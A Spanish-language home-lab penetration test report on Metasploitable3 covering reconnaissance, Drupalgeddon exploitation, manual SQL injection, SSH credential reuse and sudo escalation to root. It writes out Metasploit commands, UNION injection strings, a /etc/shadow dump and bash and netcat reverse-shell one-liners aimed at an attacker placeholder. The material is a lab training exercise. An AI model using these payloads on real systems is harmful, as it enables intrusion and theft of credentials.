
Informe de prueba de penetración de laboratorio doméstico de Metasploitable3 que cubre reconocimiento con Nmap, RCE de Drupalgeddon, inyección SQL, reutilización de credenciales SSH, escalada de privilegios con sudo y shells inversas.
Autor: Arlen Fortunato
Fecha: Septiembre 2026
Entorno: Parrot OS (atacante) → Metasploitable3 Ubuntu 14.04 (objetivo)
Alcance: Prueba de penetración de red completa — enumeración, explotación, escalada de privilegios, post-explotación
Tipo: Home Lab / Práctica de Capture The Flag
⚠️ Todas las credenciales a continuación están censuradas. Este fue un ejercicio legal y aislado en un laboratorio doméstico.
| Herramienta | Rol |
|---|---|
| Nmap | Escaneo de puertos, detección de servicio/versión, fingerprint de SO |
| Metasploit (msfconsole) | Explotación (CVE-2014-3704), gestión de sesiones |
| msfvenom | Generación de payloads (reverse shells bash/netcat) |
| nc (netcat) | Listener de reverse shell |
| curl / sed | Creación manual de SQLi + formateo de salida HTML |
| ssh / scp | Acceso remoto, validación de credenciales |
| openssl s_client | Verificación de servicio TLS/SSL |
| gobuster | Fuerza bruta de directorios (enumeración web) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
| Puerto | Estado | Servicio | Versión |
|---|---|---|---|
| 21/tcp | abierto | FTP | ProFTPD 1.3.5 |
| 22/tcp | abierto | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | abierto | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | abierto | SMB | Samba smbd 3.X–4.X |
| 631/tcp | abierto | IPP | CUPS 1.7 |
| 3306/tcp | abierto | MySQL | MySQL (no autorizado) |
| 3500/tcp | abierto | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | abierto | IRC | UnrealIRCd |
| 8080/tcp | abierto | HTTP | Jetty 8.1.7.v20120910 |
SO: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64
| # | Vulnerabilidad | CVE / Tipo | Puerto | Severidad | Resultado |
|---|---|---|---|---|---|
| 1 | Fingerprint de versión de UnrealIRCd — sondeo de backdoor | CVE-2010-2075 | 6697 | ⚠️ Falso positivo | Verificación automática del módulo superada, sondeo manual fallido — backdoor ausente en la compilación |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 Crítica | Shell Meterpreter como www-data |
| 3 | Aplicación de nóminas — SQLi UNION (manual) | Inyección manual | 80 | 🔴 Crítica | Volcado completo de BD (15 usuarios, contraseñas en texto plano — censuradas) |
| 4 | SSH — credenciales por defecto + reutilizadas | Por defecto / reutilización de credenciales | 22 | 🔴 Crítica | vagrant (sudo NOPASSWD), luke_skywalker (sudo ALL) |
| 5 | Escalada de privilegios (dos rutas) | sudo mal configurado | N/A | 🔴 Crítica | root mediante ambas cuentas |
| 6 | Volcado de shadow | Post-explotación | N/A | 🔴 Crítica | 16 hashes md5crypt extraídos |
| 7 | Reverse shells (bash + netcat) | msfvenom / creación manual | 4444/4445 | 🟠 Alta | Shells interactivas capturadas en el listener del atacante |
Vulnerabilidad: UnrealIRCd 3.2.8.1 se distribuía históricamente con un binario troyanizado que ejecuta comandos arbitrarios cuando un cliente no autenticado envía una cadena de activación antes del registro — RCE como el usuario del demonio IRC.
Intento de explotación: Módulo de Metasploit exploit/unix/irc/unreal_ircd_3281_backdoor con payloads cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. La verificación automática del módulo reportó el servicio como vulnerable; ninguna sesión devuelta con ningún payload.
Solución de problemas realizada:
nc -vz)openssl s_client)nc devolvió error de protocolo IRC 451 — el comando fue interpretado como comando IRC, nunca ejecutadoConclusión: El banner de versión indica la compilación vulnerable, pero el backdoor está ausente en esta instancia (binario limpio/recompilado). Clasificado como no explotable — falso positivo, con evidencia.
Vulnerabilidad: Drupal 7.x anterior a 7.32 contiene una inyección SQL crítica en la capa de abstracción de base de datos que permite ejecución remota de código sin autenticación.
Confirmación de versión: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
Explotación:
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
Resultado:
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
Enumeración post-explotación:
/var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin//home: 16 cuentas de usuarioVulnerabilidad: Formulario de inicio de sesión de payroll_app.php, inyección SQL en el campo de contraseña. Sin automatización — creada mediante curl.
Paso 1 — Omisión de autenticación:
' or 1=1#
' cierra la cadena SQL, or 1=1 fuerza verdadero, # comenta la comilla final.
Paso 2 — Conteo de columnas + mapeo de visualización:
' UNION SELECT null, null, null, null# -- sin error = 4 columnas
' UNION SELECT 1, 2, 3, 4# -- marcadores: 1=Username, 2=First, 3=Last, 4=Salary
Paso 3 — Enumeración de information_schema:
| Pregunta | Respuesta |
|---|---|
| Versión de BD / usuario | MySQL 5.5.62, root@localhost |
| Bases de datos | information_schema, drupal, mysql, payroll, performance_schema |
Tablas en payroll | users |
Columnas en users | username, first_name, last_name, password, salary |
Paso 4 — Volcado (contraseñas censuradas):
' UNION SELECT username, password, salary, null FROM users#
| Usuario | Contraseña | Salario |
|---|---|---|
| leia_organa | [CENSURADO] | 9560 |
| luke_skywalker | [CENSURADO] | 1080 |
| han_solo | [CENSURADO] | 1200 |
| artoo_detoo | [CENSURADO] | 22222 |
| boba_fett | [CENSURADO] | 20000 |
| greedo | [CENSURADO] | 50000 |
| (+ 9 cuentas más) | [CENSURADO] | — |
Ruta 1 — Cuenta por defecto: el par de credenciales por defecto vagrant autenticado mediante SSH → usuario en el grupo sudo con (ALL : ALL) NOPASSWD: ALL.
Ruta 2 — Reutilización de credenciales: credenciales obtenidas del volcado SQLi autenticadas directamente mediante SSH como otro usuario del laboratorio (luke_skywalker, grupo sudo, (ALL : ALL) ALL).
Importancia: demuestra la reutilización de credenciales entre servicios — credenciales de aplicación mapeadas a una cuenta de sistema.
vagrant → sudo -l muestra NOPASSWD: ALL → sudo su - → uid=0(root).luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).No se requirió exploit local — ambas cuentas poseen permisos sudo excesivamente permisivos.
sudo cat /etc/shadow
Se extrajeron 16 hashes md5crypt ($1$) — recolección completa de credenciales tras la escalada de privilegios.
Payload 1 — bash:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
Capturado en nc -lnvp 4444 → shell interactiva.
Payload 2 — netcat (named-pipe):
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
Capturado en nc -lnvp 4445 → shell interactiva.
Mecanismo: el named pipe (FIFO) conecta stdin/stdout de netcat a /bin/sh, formando un túnel bidireccional de un solo socket; el FIFO se elimina después.